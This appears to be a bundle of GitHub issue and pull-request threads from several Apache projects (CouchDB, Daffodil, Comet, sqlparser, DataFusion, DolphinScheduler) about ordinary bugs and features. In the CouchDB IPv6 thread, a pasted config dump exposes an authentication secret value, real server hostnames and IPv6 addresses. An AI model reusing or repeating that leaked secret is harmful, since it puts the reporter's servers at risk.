text:
CouchDB sends A dns request when configured -proto_dist inet6_tcp

Description
We have an IPv6-only installation. No IPv4 is configured on the server (except loopback). In the vm.agrs configured
-proto_dist inet6_tcp

When I start replication to then CouchDB sends only A dns request and does not try to send AAAA dns requsts.
[NOTE]: # ( Describe the problem you're encountering. )
TIP:  # ( Do NOT give us access or passwords to your actual CouchDB! )
Steps to Reproduce
Create request.json file like
{
  "user_ctx": {
    "name": "admin",
    "roles": [
      "_admin",
      "_reader",
      "_writer"
    ]
  },
  "source": {
    "url": "http://ippbx-1a.la.example.com:5984/mydb",
    "headers": {
      "Authorization": "Basic XXXXXXXXXXXX"
    }
  },
  "target": {
    "url": "http://127.0.0.1:5984/mydb",
    "headers": {
      "Authorization": "Basic XXXXXXXXX"
    }
  },
  "create_target": true,
  "continuous": false
}

Then send curl command like
curl \
 -H 'Content-Type: application/json' \
 -H 'Accept: application/json' \
 -d @request.json \
 'http://admin:change_me@127.0.0.1:5984/_replicator'

in the logs i can see

Jul 07 09:21:51 ippbx-1b.la.example.com docker[3677369]: [error] 2023-07-07T09:21:51.599467Z couchdb@ippbx-1b.la.example.com <0.6095.0> -------- couch_replicator_httpc: auth plugin initialization failed "http://ippbx-1a.la.example.com:5984/mydb/" {session_request_failed,"http://ippbx-1a.la.example.com:5984/_session","admin",{conn_failed,{error,nxdomain}}}
Jul 07 09:21:51 ippbx-1b.la.example.com docker[3677369]: [error] 2023-07-07T09:21:51.599676Z couchdb@ippbx-1b.la.example.com <0.6095.0> -------- throw:{replication_auth_error,{session_request_failed,"http://ippbx-1a.la.example.com:5984/_session","admin",{conn_failed,{error,nxdomain}}}}: Replication 69411eb9179c970995746a1ecd781fac+create_target failed to start "http://ippbx-1a.la.example.com:5984/mydb/" -> "http://127.0.0.1:5984/mydb/" doc <<"shards/00000000-7fffffff/_replicator.1688721035">>:<<"477deb9261a9927a1d20e90f2a001b31">> stack:[{couch_replicator_httpc,setup,1,[{file,"src/couch_replicator_httpc.erl"},{line,62}]},{couch_replicator_api_wrap,db_open,3,[{file,"src/couch_replicator_api_wrap.erl"},{line,68}]}]

Expected Behaviour
CouchDB should send a AAAA  dns request to get a remote host IP address. If the AAAA request fails, then try to send an A DNS request.
Your Environment

CouchDB version used:
Used apache/couchdb:3.3.2 docker image.

Browser name and version:
Used curl to trigger replication.

Operating system and version:

Additional Context
IPv6 only CouchDB installation.

the erlang/otp proto_dist parameter controls how the erlang nodes communicate with each other with the distributed erlang protocol, it is not related to the protocols the (http-based) replicator uses.
Support for replicating to ipv6-only hosts was added back in couchdb 2.3 (by upgrading ibrowse).
given you are within an docker image, have you confirmed the environment is capable of ipv6 host resolution and routing? When you said couchdb only does an A lookup and not AAAA lookup is this speculation or do you have a confirming packet capture?

When you said couchdb only does an A lookup and not AAAA lookup is this speculation or do you have a confirming packet capture?

Yes, I have started replication and in another tab, I have started tcpdump -ni any port 53 and will able to see which DNS requests were issued to the DNS server. All requests for hostname I configured for replication is 'A'.

have you confirmed the environment is capable of ipv6 host resolution and routing

Please check my real result without "example" masking. The same results you will get on the your PC.
[centos@ippbx-1b ~]$ nslookup ippbx-0a.la.nga911.com
Server:		127.0.0.1
Address:	127.0.0.1#53

Non-authoritative answer:
Name:	ippbx-0a.la.nga911.com
Address: 2605:84c0:4a:604::6

[centos@ippbx-1b ~]$ nslookup ippbx-0b.la.nga911.com
Server:		127.0.0.1
Address:	127.0.0.1#53

Non-authoritative answer:
Name:	ippbx-0b.la.nga911.com
Address: 2605:84c0:4a:605::6

[centos@ippbx-1b ~]$ nslookup ippbx-1a.la.nga911.com
Server:		127.0.0.1
Address:	127.0.0.1#53

Non-authoritative answer:
Name:	ippbx-1a.la.nga911.com
Address: 2605:84c0:48:604::6

[centos@ippbx-1b ~]$ nslookup ippbx-1b.la.nga911.com
Server:		127.0.0.1
Address:	127.0.0.1#53

Name:	ippbx-1b.la.nga911.com
Address: 2605:84c0:48:605::6

routing also works
standalone couchdb server with 3.3.2
[centos@ippbx-1b ~]$ curl http://ippbx-1b.la.nga911.com:5984
{"couchdb":"Welcome","version":"3.3.2","git_sha":"11a234070","uuid":"065b865d8615b590a225292060d6c415","features":["access-ready","partitioned","pluggable-storage-engines","reshard","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}

couchdb cluster with 2.3.1
[centos@ippbx-1b ~]$ curl http://ippbx-0a.la.nga911.com:5984
{"couchdb":"Welcome","version":"2.3.1","git_sha":"c298091a4","uuid":"e79401873eae0a741ad58421c4521c1e","features":["pluggable-storage-engines","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}
[centos@ippbx-1b ~]$ curl http://ippbx-0b.la.nga911.com:5984
{"couchdb":"Welcome","version":"2.3.1","git_sha":"c298091a4","uuid":"a581bad23b6f91b65710d9c2481f295a","features":["pluggable-storage-engines","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}
[centos@ippbx-1b ~]$ curl http://ippbx-1a.la.nga911.com:5984
{"couchdb":"Welcome","version":"2.3.1","git_sha":"c298091a4","uuid":"355ce185adb189bc576b757410c208d3","features":["pluggable-storage-engines","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}

Thanks. looks like this change in the third party http client we use (ibrowse): https://github.com/apache/couchdb-ibrowse/commit/e6a0c366fc8fc982d7981087c1e9d1e28e2a235a
try setting;
[replicator]
socket_options = [{keepalive, true}, {nodelay, false}, {prefer_ipv6, true}]
valid_socket_options = buffer,keepalive,nodelay,priority,recbuf,sndbuf,prefer_ipv6

You'll need to restart couchdb if you edit the config files, or you can use the /_node/_local/_config endpoint to change the settings live.

on the server I have created file /opt/couchdb/etc/local.d/replicator.ini with content
[replicator]
; See the `inet` Erlang module's man page for the full list of options.
socket_options = [{keepalive, true}, {nodelay, false}, {prefer_ipv6, true}]

; Valid socket options. Options not in this list are ignored. The full list of
; options may be found at https://www.erlang.org/doc/man/inet.html#setopts-2.
valid_socket_options = buffer,keepalive,nodelay,priority,recbuf,sndbuf,prefer_ipv6

Then I mounted this file into the docker container. The CouchDB container started with this file mounted.
[root@ippbx-1b ~]# docker exec couch ls -l /opt/couchdb/etc/local.d/replicator.ini
-rw-r--r--. 1 couchdb couchdb 403 Jul 10 09:53 /opt/couchdb/etc/local.d/replicator.ini

Started replications again and using tcpdump can see A DNS requests
10:00:49.900494 IP 127.0.0.1.42238 > 127.0.0.1.domain: 44128+ A? ippbx-1a.la.nga911.com. (40)
10:00:49.900627 IP 127.0.0.1.domain > 127.0.0.1.42238: 44128* 0/1/0 (140)
10:00:49.900711 IP 127.0.0.1.52185 > 127.0.0.1.domain: 8288+ A? ippbx-1a.la.nga911.com. (40)
10:00:49.900828 IP 127.0.0.1.domain > 127.0.0.1.52185: 8288* 0/1/0 (140)

I also have checked local node config after CouchDB restart. I see replicator settings applied as expected.
[root@ippbx-1b ~]# curl -s -S  http://xxxxx:xxxxx@127.0.0.1:5984/_node/_local/_config | jq
{
  "chttpd": {
    "bind_address": "::",
    "port": "5984"
  },
  "admins": {
    "xxxxxx": "xxxxxxxxxxx"
  },
  "vendor": {
    "name": "The Apache Software Foundation"
  },
  "feature_flags": {
    "partitioned||*": "true"
  },
  "chttpd_auth": {
    "hash_algorithms": "sha256, sha"
  },
  "replicator": {
    "socket_options": "[{keepalive, true}, {nodelay, false}, {prefer_ipv6, true}]",
    "valid_socket_options": "buffer,keepalive,nodelay,priority,recbuf,sndbuf,prefer_ipv6"
  },
  "log": {
    "level": "error"
  },
  "indexers": {
    "couch_mrview": "true"
  },
  "prometheus": {
    "additional_port": "false",
    "bind_address": "127.0.0.1",
    "port": "17986"
  },
  "httpd": {
    "bind_address": "::",
    "port": "5986"
  },
  "smoosh": {
    "state_dir": "./data"
  },
  "couch_httpd_auth": {
    "authentication_db": "_users",
    "secret": "c8bf8a8d517074d779a1a31a9dac75bd"
  },
  "couchdb_engines": {
    "couch": "couch_bt_engine"
  },
  "couchdb": {
    "database_dir": "./data",
    "uuid": "065b865d8615b590a225292060d6c415",
    "view_index_dir": "./data"
  }
}

we have a fix for the next release, thank you for filing the issue!

Should I use?
[replicator]
socket_options = [{keepalive, true}, {nodelay, false}, {prefer_ipv6, true}]
valid_socket_options = buffer,keepalive,nodelay,priority,recbuf,sndbuf,prefer_ipv6
ibrowse_options = [{prefer_ipv6, true}]

@sergey-safarov when there's a release with the fix all you'll need to do is;
[replicator]
ibrowse_options = [{prefer_ipv6, true}]

and then ipv6 will be attempted for all replications, which is appropriate for your ipv6-only setup.
In other setups you might just specify {"source":"X", ... "ibrowse_options":"[{prefer_ipv6,true}]} on certain replication docs as needed.

authors: rnewson sergey-safarov

repo: apache/couchdb


text:
Removed argType parameter from FNZeroArgExpr

argType parameter wasn't needed for FNZeroArgExpr since it's supposed to implement dfdl functions that take no argument those functions are fn:local-name and fn:namespace-uri functions.
argType is used for targetTypeForSubexpression which should never be called in FNZeroArgExpr since their are zero arguments. However, targetTypeForSubexpression still has be implemented in the class since FNZeroArgExpr extends FunctionCallBase, so targetTypeForSubexpression is set to Node.Exists in the FNZeroArgExpr class definition.
In addtion, parameter were removed from FNLocalName0 and FNNamespaceUri0 since these parameters were no longer needed after FNZeroArgExpr was updated. Also, to support this change, both classes now extend RecipeOp instead of RecipeOpWithSubRecipes since RecipeOp needs no parameters and the subRecipes feature wasn't being used in these functions anyways.
DAFFODIL-2331

Just FYI, I pushed formatting updates since I believe Alex is on PTO this week and this is small enough that it can probably make it into the next release

source: gharchive/pull-request

repo: apache/daffodil

license_type: permissive

license_source: github-api


text:
Comet library not initializing

Describe the bug
After building from source when I try out the example on the installation page to test library initialization I get the following error. spark 3.4, scala 2.12, java 11
WARN CometSparkSessionExtensions: Comet extension is disabled because of error when loading native lib. Falling back to Spark
java.lang.ExceptionInInitializerError
        at org.apache.comet.CometSparkSessionExtensions$.isCometEnabled(CometSparkSessionExtensions.scala:1013)
        at org.apache.comet.CometSparkSessionExtensions$CometScanRule.apply(CometSparkSessionExtensions.scala:86)
        at org.apache.comet.CometSparkSessionExtensions$CometScanRule.apply(CometSparkSessionExtensions.scala:84)
        at org.apache.spark.sql.execution.ApplyColumnarRulesAndInsertTransitions.$anonfun$apply$1(Columnar.scala:564)
        at org.apache.spark.sql.execution.ApplyColumnarRulesAndInsertTransitions.$anonfun$apply$1$adapted(Columnar.scala:564)
        at scala.collection.mutable.ResizableArray.foreach(ResizableArray.scala:62)
        at scala.collection.mutable.ResizableArray.foreach$(ResizableArray.scala:55)
        at scala.collection.mutable.ArrayBuffer.foreach(ArrayBuffer.scala:49)
        at org.apache.spark.sql.execution.ApplyColumnarRulesAndInsertTransitions.apply(Columnar.scala:564)
        at org.apache.spark.sql.execution.ApplyColumnarRulesAndInsertTransitions.apply(Columnar.scala:516)
        at org.apache.spark.sql.execution.QueryExecution$.$anonfun$prepareForExecution$1(QueryExecution.scala:457)
        at scala.collection.LinearSeqOptimized.foldLeft(LinearSeqOptimized.scala:126)
        at scala.collection.LinearSeqOptimized.foldLeft$(LinearSeqOptimized.scala:122)
        at scala.collection.immutable.List.foldLeft(List.scala:91)
        at org.apache.spark.sql.execution.QueryExecution$.prepareForExecution(QueryExecution.scala:456)
        at org.apache.spark.sql.execution.QueryExecution.$anonfun$executedPlan$1(QueryExecution.scala:175)
        at org.apache.spark.sql.catalyst.QueryPlanningTracker.measurePhase(QueryPlanningTracker.scala:111)
        at org.apache.spark.sql.execution.QueryExecution.$anonfun$executePhase$2(QueryExecution.scala:202)
        at org.apache.spark.sql.execution.QueryExecution$.withInternalError(QueryExecution.scala:526)
        at org.apache.spark.sql.execution.QueryExecution.$anonfun$executePhase$1(QueryExecution.scala:202)
        at org.apache.spark.sql.SparkSession.withActive(SparkSession.scala:827)
        at org.apache.spark.sql.execution.QueryExecution.executePhase(QueryExecution.scala:201)
        at org.apache.spark.sql.execution.QueryExecution.executedPlan$lzycompute(QueryExecution.scala:175)
        at org.apache.spark.sql.execution.QueryExecution.executedPlan(QueryExecution.scala:168)
        at org.apache.spark.sql.execution.QueryExecution.simpleString(QueryExecution.scala:221)
        at org.apache.spark.sql.execution.QueryExecution.org$apache$spark$sql$execution$QueryExecution$$explainString(QueryExecution.scala:266)
        at org.apache.spark.sql.execution.QueryExecution.explainString(QueryExecution.scala:235)
        at org.apache.spark.sql.execution.SQLExecution$.$anonfun$withNewExecutionId$6(SQLExecution.scala:112)
        at org.apache.spark.sql.execution.SQLExecution$.withSQLConfPropagated(SQLExecution.scala:195)
        at org.apache.spark.sql.execution.SQLExecution$.$anonfun$withNewExecutionId$1(SQLExecution.scala:103)
        at org.apache.spark.sql.SparkSession.withActive(SparkSession.scala:827)
        at org.apache.spark.sql.execution.SQLExecution$.withNewExecutionId(SQLExecution.scala:65)
        at org.apache.spark.sql.execution.QueryExecution$$anonfun$eagerlyExecuteCommands$1.applyOrElse(QueryExecution.scala:98)
        at org.apache.spark.sql.execution.QueryExecution$$anonfun$eagerlyExecuteCommands$1.applyOrElse(QueryExecution.scala:94)
        at org.apache.spark.sql.catalyst.trees.TreeNode.$anonfun$transformDownWithPruning$1(TreeNode.scala:512)
        at org.apache.spark.sql.catalyst.trees.CurrentOrigin$.withOrigin(TreeNode.scala:104)
        at org.apache.spark.sql.catalyst.trees.TreeNode.transformDownWithPruning(TreeNode.scala:512)
        at org.apache.spark.sql.catalyst.plans.logical.LogicalPlan.org$apache$spark$sql$catalyst$plans$logical$AnalysisHelper$$super$transformDownWithPruning(LogicalPlan.scala:31)
        at org.apache.spark.sql.catalyst.plans.logical.AnalysisHelper.transformDownWithPruning(AnalysisHelper.scala:267)
        at org.apache.spark.sql.catalyst.plans.logical.AnalysisHelper.transformDownWithPruning$(AnalysisHelper.scala:263)
        at org.apache.spark.sql.catalyst.plans.logical.LogicalPlan.transformDownWithPruning(LogicalPlan.scala:31)
        at org.apache.spark.sql.catalyst.plans.logical.LogicalPlan.transformDownWithPruning(LogicalPlan.scala:31)
        at org.apache.spark.sql.catalyst.trees.TreeNode.transformDown(TreeNode.scala:488)
        at org.apache.spark.sql.execution.QueryExecution.eagerlyExecuteCommands(QueryExecution.scala:94)
        at org.apache.spark.sql.execution.QueryExecution.commandExecuted$lzycompute(QueryExecution.scala:81)
        at org.apache.spark.sql.execution.QueryExecution.commandExecuted(QueryExecution.scala:79)
        at org.apache.spark.sql.execution.QueryExecution.assertCommandExecuted(QueryExecution.scala:133)
        at org.apache.spark.sql.DataFrameWriter.runCommand(DataFrameWriter.scala:856)
        at org.apache.spark.sql.DataFrameWriter.saveToV1Source(DataFrameWriter.scala:387)
        at org.apache.spark.sql.DataFrameWriter.saveInternal(DataFrameWriter.scala:360)
        at org.apache.spark.sql.DataFrameWriter.save(DataFrameWriter.scala:239)
        at org.apache.spark.sql.DataFrameWriter.parquet(DataFrameWriter.scala:789)
        at $line14.$read$$iw$$iw$$iw$$iw$$iw$$iw$$iw$$iw.<init>(<console>:23)
        at $line14.$read$$iw$$iw$$iw$$iw$$iw$$iw$$iw.<init>(<console>:27)
        at $line14.$read$$iw$$iw$$iw$$iw$$iw$$iw.<init>(<console>:29)
        at $line14.$read$$iw$$iw$$iw$$iw$$iw.<init>(<console>:31)
        at $line14.$read$$iw$$iw$$iw$$iw.<init>(<console>:33)
        at $line14.$read$$iw$$iw$$iw.<init>(<console>:35)
        at $line14.$read$$iw$$iw.<init>(<console>:37)
        at $line14.$read$$iw.<init>(<console>:39)
        at $line14.$read.<init>(<console>:41)
        at $line14.$read$.<init>(<console>:45)
        at $line14.$read$.<clinit>(<console>)
        at $line14.$eval$.$print$lzycompute(<console>:7)
        at $line14.$eval$.$print(<console>:6)
        at $line14.$eval.$print(<console>)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
        at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.base/java.lang.reflect.Method.invoke(Method.java:566)
        at scala.tools.nsc.interpreter.IMain$ReadEvalPrint.call(IMain.scala:747)
        at scala.tools.nsc.interpreter.IMain$Request.loadAndRun(IMain.scala:1020)
        at scala.tools.nsc.interpreter.IMain.$anonfun$interpret$1(IMain.scala:568)
        at scala.reflect.internal.util.ScalaClassLoader.asContext(ScalaClassLoader.scala:36)
        at scala.reflect.internal.util.ScalaClassLoader.asContext$(ScalaClassLoader.scala:116)
        at scala.reflect.internal.util.AbstractFileClassLoader.asContext(AbstractFileClassLoader.scala:41)
        at scala.tools.nsc.interpreter.IMain.loadAndRunReq$1(IMain.scala:567)
        at scala.tools.nsc.interpreter.IMain.interpret(IMain.scala:594)
        at scala.tools.nsc.interpreter.IMain.interpret(IMain.scala:564)
        at scala.tools.nsc.interpreter.ILoop.interpretStartingWith(ILoop.scala:865)
        at scala.tools.nsc.interpreter.ILoop.command(ILoop.scala:733)
        at scala.tools.nsc.interpreter.ILoop.processLine(ILoop.scala:435)
        at scala.tools.nsc.interpreter.ILoop.loop(ILoop.scala:456)
        at org.apache.spark.repl.SparkILoop.process(SparkILoop.scala:239)
        at org.apache.spark.repl.Main$.doMain(Main.scala:78)
        at org.apache.spark.repl.Main$.main(Main.scala:58)
        at org.apache.spark.repl.Main.main(Main.scala)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
        at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.base/java.lang.reflect.Method.invoke(Method.java:566)
        at org.apache.spark.deploy.JavaMainApplication.start(SparkApplication.scala:52)
        at org.apache.spark.deploy.SparkSubmit.org$apache$spark$deploy$SparkSubmit$$runMain(SparkSubmit.scala:1020)
        at org.apache.spark.deploy.SparkSubmit.doRunMain$1(SparkSubmit.scala:192)
        at org.apache.spark.deploy.SparkSubmit.submit(SparkSubmit.scala:215)
        at org.apache.spark.deploy.SparkSubmit.doSubmit(SparkSubmit.scala:91)
        at org.apache.spark.deploy.SparkSubmit$$anon$2.doSubmit(SparkSubmit.scala:1111)
        at org.apache.spark.deploy.SparkSubmit$.main(SparkSubmit.scala:1120)
        at org.apache.spark.deploy.SparkSubmit.main(SparkSubmit.scala)
Caused by: java.lang.UnsupportedOperationException: Unsupported OS/arch, cannot find /org/apache/comet/linux/amd64/libcomet.so. Please try building from source.
        at org.apache.comet.NativeBase.bundleLoadLibrary(NativeBase.java:105)
        at org.apache.comet.NativeBase.load(NativeBase.java:88)
        at org.apache.comet.NativeBase.<clinit>(NativeBase.java:53)
        ... 99 more

Steps to reproduce
No response
Expected behavior
No response
Additional context
No response

Thanks for reporting this @zelda89. Could you show me the output of the following command?
$ jar tvf spark/target/comet-spark-spark3.4_2.12-0.2.0-SNAPSHOT | grep "libcomet"

When I run this, I see:
50624136 Sun Aug 04 21:15:50 MDT 2024 org/apache/comet/linux/amd64/libcomet.so

Also, can you share the spark-submit command? Do you have the following configuration values?
    --jars $COMET_JAR \
    --conf spark.driver.extraClassPath=$COMET_JAR \
    --conf spark.executor.extraClassPath=$COMET_JAR \

It looks like this issue is inactive now, so I will close it. Feel free to reopen it @zelda89 if you still need assistance.

source: gharchive/issue

repo: apache/datafusion-comet


text:
Support relation visitor to visit the Option field

close #1554
If the field is a Option and add #[with = "visit_xxx"] to the field, the generated code
will try to access the field only if it is Some:
#[cfg_attr(feature = "visitor", derive(Visit, VisitMut))]
pub struct ShowStatementIn {
    pub clause: ShowStatementInClause,
    pub parent_type: Option<ShowStatementInParentType>,
    #[cfg_attr(feature = "visitor", visit(with = "visit_relation"))]
    pub parent_name: Option<ObjectName>,
}

This will generate
impl sqlparser::ast::Visit for ShowStatementIn {
    fn visit<V: sqlparser::ast::Visitor>(
        &self,
        visitor: &mut V,
    ) -> ::std::ops::ControlFlow<V::Break> {
        sqlparser::ast::Visit::visit(&self.clause, visitor)?;
        sqlparser::ast::Visit::visit(&self.parent_type, visitor)?;
        if let Some(value) = &self.parent_name {
            visitor.pre_visit_relation(value)?;
            sqlparser::ast::Visit::visit(value, visitor)?;
            visitor.post_visit_relation(value)?;
        }
        ::std::ops::ControlFlow::Continue(())
    }
}

impl sqlparser::ast::VisitMut for ShowStatementIn {
    fn visit<V: sqlparser::ast::VisitorMut>(
        &mut self,
        visitor: &mut V,
    ) -> ::std::ops::ControlFlow<V::Break> {
        sqlparser::ast::VisitMut::visit(&mut self.clause, visitor)?;
        sqlparser::ast::VisitMut::visit(&mut self.parent_type, visitor)?;
        if let Some(value) = &mut self.parent_name {
            visitor.pre_visit_relation(value)?;
            sqlparser::ast::VisitMut::visit(value, visitor)?;
            visitor.post_visit_relation(value)?;
        }
        ::std::ops::ControlFlow::Continue(())
    }
}

I double checked with https://github.com/apache/datafusion/pull/13546 and this works great. Thank you again @goldmedal and @iffyio

authors: alamb goldmedal

repo: apache/datafusion-sqlparser-rs


text:
Optimize SortPreservingMergeStream for single-column merge

Is your feature request related to a problem or challenge?
Currently SortPreservingMergeStream converts column to row-format even when sorting a single column.
We can optimize SortPreservingMergeStream to not do this when the sort expression is a single column, which avoids the conversion and makes comparisons faster.
Describe the solution you'd like
Optimize the SortPreservingMergeStream for single column sorts, only converting to row-format when dealing with multi-column sorts.
Describe alternatives you've considered
No response
Additional context
This should be beneficial for many queries involving SortPreservingMerge, such as https://github.com/apache/datafusion/issues/13586

Hi @Dandandan does the SortPreservingMergeStream work with row format? I checked quickly https://github.com/apache/datafusion/blob/main/datafusion/physical-plan/src/sorts/merge.rs#L44 I dont see RowConverter or SortFields in there. Am I missing something?

As shown in my flamegraph profile, there are code paths that invoke arrow::Row::cmp.
From what I understand, RowValues (which implements CursorValues and whose cmp method is called in is_gt) might come from RowCursorStream::convert_batch.
However, I’m not entirely sure if this is accurate or if it can explain for the lack of usage of RowConverter or SortFields.

Thanks for the flamegraph, indeed looks like it happens when dealing with working with PartitionedStream.  namely in
let cursor = self.convert_batch(&batch)?;

and type CursorStream<C> = Box<dyn PartitionedStream<Output = Result<(C, RecordBatch)>>>; so it explains

It seems single column case is optimized here
https://github.com/apache/datafusion/blob/8404cd05891f1884226ce512eee8b9a89ea99c5b/datafusion/physical-plan/src/sorts/streaming_merge.rs#L168-L180

repo: apache/datafusion


text:
flink sql    mode

Search before asking

[X] I had searched in the issues and found no similar feature requirement.

Description
Under the current workflow definition module, when the flick component is selected and the program type is SQL, the SQL script parameter is the cluster yarn per job mode to submit the task. When the processing is completed, the yarn resource is not closed and released. It depends on the source code using SQL client SH script. Is there a good way to close the yarn session task?
Are you willing to submit a PR?

[ ] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Duplicated with #11299.

repo: apache/dolphinscheduler


text:
The workflow cannot be stopped, indicating that it is ready to stop or resume the fault-tolerant workflow

Search before asking

[X] I had searched in the issues and found no similar issues.

What happened
我任务之前一致报错，然后我就停止了，并修改，在我修改完并确定自己的代码脚本等没有错误时，
再次上线运行却发现，程序只运行一半就不会运行了，并且程序运行都是成功的，并且上游的程序都完美运行。
然后我看了我的虚拟机的内存还是很足够的。随后我就停止了工作流并下线，但是却显示准备停止，然后我把ds关闭再次开启后却发现显示恢复被容错的工作流。然后我就再次重复上面的操作却发现还是这样。
What you expected to happen
程序完美运行，并解决问题。
How to reproduce
重现问题的话，就把工作流创建，然后运行，发现任务不运行，随后关闭任务并下线，发现程序显示准备关闭。随后关闭ds，在重启，发现显示回复被容错的工作流。
Anything else
在我改完代码之后每次都会出现问题，但我确保自己的程序没有问题。
Version
3.1.x
Are you willing to submit PR?

[X] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

+1 with version 3.1.3

when process instance's state is  'read to stop',the workflow is always retry on the workflowEventQueue.And the error log print cyclic as list.
[ERROR] 2023-05-17 16:28:07.583 +0800 org.apache.dolphinscheduler.server.master.event.WorkflowStartEventHandler:[72] - [WorkflowInstance-0][TaskInstance-0] - Failed to submit the workflow instance, will resend the workflow start event: WorkflowEvent(workflowEventType=START_WORKFLOW, workflowInstanceId=333662)
[INFO] 2023-05-17 16:28:07.583 +0800 org.apache.dolphinscheduler.server.master.event.WorkflowEventQueue:[38] - [WorkflowInstance-0][TaskInstance-0] - Added workflow event to workflowEvent queue, event: WorkflowEvent(workflowEventType=START_WORKFLOW, workflowInstanceId=333662)
[INFO] 2023-05-17 16:28:07.583 +0800 org.apache.dolphinscheduler.server.master.runner.WorkflowEventLooper:[78] - [WorkflowInstance-333662][TaskInstance-0] - Workflow event looper receive a workflow event: WorkflowEvent(workflowEventType=START_WORKFLOW, workflowInstanceId=333662), will handle this
[INFO] 2023-05-17 16:28:07.583 +0800 org.apache.dolphinscheduler.server.master.event.WorkflowStartEventHandler:[54] - [WorkflowInstance-333662][TaskInstance-0] - Handle workflow start event, begin to start a workflow, event: WorkflowEvent(workflowEventType=START_WORKFLOW, workflowInstanceId=333662)
[WARN] 2023-05-17 16:28:07.583 +0800 org.apache.dolphinscheduler.server.master.runner.WorkflowExecuteRunnable:[1347] - [WorkflowInstance-333662][TaskInstance-0] - Task is already at submit queue, taskInstanceId: null
[ERROR] 2023-05-17 16:28:07.583 +0800 org.apache.dolphinscheduler.server.master.runner.WorkflowExecuteRunnable:[704] - [WorkflowInstance-333662][TaskInstance-0] - Start workflow error
java.lang.NullPointerException: null
[ERROR] 2023-05-17 16:28:07.584 +0800 org.apache.dolphinscheduler.server.master.event.WorkflowStartEventHandler:[72] - [WorkflowInstance-0][TaskInstance-0] - Failed to submit the workflow instance, will resend the workflow start event: WorkflowEvent(workflowEventType=START_WORKFLOW, workflowInstanceId=333662)
[INFO] 2023-05-17 16:28:07.584 +0800 org.apache.dolphinscheduler.server.master.event.WorkflowEventQueue:[38] - [WorkflowInstance-0][TaskInstance-0] - Added workflow event to workflowEvent queue, event: WorkflowEvent(workflowEventType=START_WORKFLOW, workflowInstanceId=333662)
[INFO] 2023-05-17 16:28:07.584 +0800 org.apache.dolphinscheduler.server.master.runner.WorkflowEventLooper:[78] - [WorkflowInstance-333662][TaskInstance-0] - Workflow event looper receive a workflow event: WorkflowEvent(workflowEventType=START_WORKFLOW, workflowInstanceId=333662), will handle this
[INFO] 2023-05-17 16:28:07.584 +0800 org.apache.dolphinscheduler.server.master.event.WorkflowStartEventHandler:[54] - [WorkflowInstance-333662][TaskInstance-0] - Handle workflow start event, begin to start a workflow, event: WorkflowEvent(workflowEventType=START_WORKFLOW, workflowInstanceId=333662)
[WARN] 2023-05-17 16:28:07.584 +0800 org.apache.dolphinscheduler.server.master.runner.WorkflowExecuteRunnable:[1347] - [WorkflowInstance-333662][TaskInstance-0] - Task is already at submit queue, taskInstanceId: null
[ERROR] 2023-05-17 16:28:07.584 +0800 org.apache.dolphinscheduler.server.master.runner.WorkflowExecuteRunnable:[704] - [WorkflowInstance-333662][TaskInstance-0] - Start workflow error
java.lang.NullPointerException: null
[ERROR] 2023-05-17 16:28:07.584 +0800 org.apache.dolphinscheduler.server.master.event.WorkflowStartEventHandler:[72] - [WorkflowInstance-0][TaskInstance-0] - Failed to submit the workflow instance, will resend the workflow start event: WorkflowEvent(workflowEventType=START_WORKFLOW, workflowInstanceId=333662)
[INFO] 2023-05-17 16:28:07.584 +0800 org.apache.dolphinscheduler.server.master.event.WorkflowEventQueue:[38] - [WorkflowInstance-0][TaskInstance-0] - Added workflow event to workflowEvent queue, event: WorkflowEvent(workflowEventType=START_WORKFLOW, workflowInstanceId=333662)
[INFO] 2023-05-17 16:28:07.584 +0800 org.apache.dolphinscheduler.server.master.runner.WorkflowEventLooper:[78] - [WorkflowInstance-333662][TaskInstance-0] - Workflow event looper receive a workflow event: WorkflowEvent(workflowEventType=START_WORKFLOW, workflowInstanceId=333662), will handle this
[INFO] 2023-05-17 16:28:07.584 +0800 org.apache.dolphinscheduler.server.master.event.WorkflowStartEventHandler:[54] - [WorkflowInstance-333662][TaskInstance-0] - Handle workflow start event, begin to start a workflow, event: WorkflowEvent(workflowEventType=START_WORKFLOW, workflowInstanceId=333662)
[WARN] 2023-05-17 16:28:07.584 +0800 org.apache.dolphinscheduler.server.master.runner.WorkflowExecuteRunnable:[1347] - [WorkflowInstance-333662][TaskInstance-0] - Task is already at submit queue, taskInstanceId: null
[ERROR] 2023-05-17 16:28:07.584 +0800 org.apache.dolphinscheduler.server.master.runner.WorkflowExecuteRunnable:[704] - [WorkflowInstance-333662][TaskInstance-0] - Start workflow error

According to #12440, there is a ugly way to solve the problem.
Try to update the process's state to 7 (succeed).Then restart the master node.

me too just help me.plz solve the bug or just crose the bug.

I also encountered this problem, please solve it

Please solve this problem or fix it, thank you very much

authors: 15708989137 Aiden-si Anubisxcw syncwt zlldnn


text:
docker dolphinscheduler-standalone-server:3.2.2 remoteshell Caused by: java.lang.NumberFormatException: For input string: "0

Search before asking

[X] I had searched in the issues and found no similar issues.

What happened

What you expected to happen
docker dolphinscheduler-standalone-server:3.2.2 remoteshell Caused by: java.lang.NumberFormatException: For input string: "0
How to reproduce
docker dolphinscheduler-standalone-server:3.2.2 remoteshell Caused by: java.lang.NumberFormatException: For input string: "0
Anything else
No response
Version
3.2.x
Are you willing to submit PR?

[ ] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Duplicated with #16295


text:
Delayed execution of task nodes

Search before asking

[X] I had searched in the issues and found no similar feature requirement.

Description
我的服务是32+64资源的三节点集群，每天运行大概20000左右任务，但是发现有很多任务延迟执行，任务的并发量我调节到了96，这个延迟执行的原因是什么？请有经验的大佬告知一下
Are you willing to submit a PR?

[X] Yes I am willing to submit a PR!

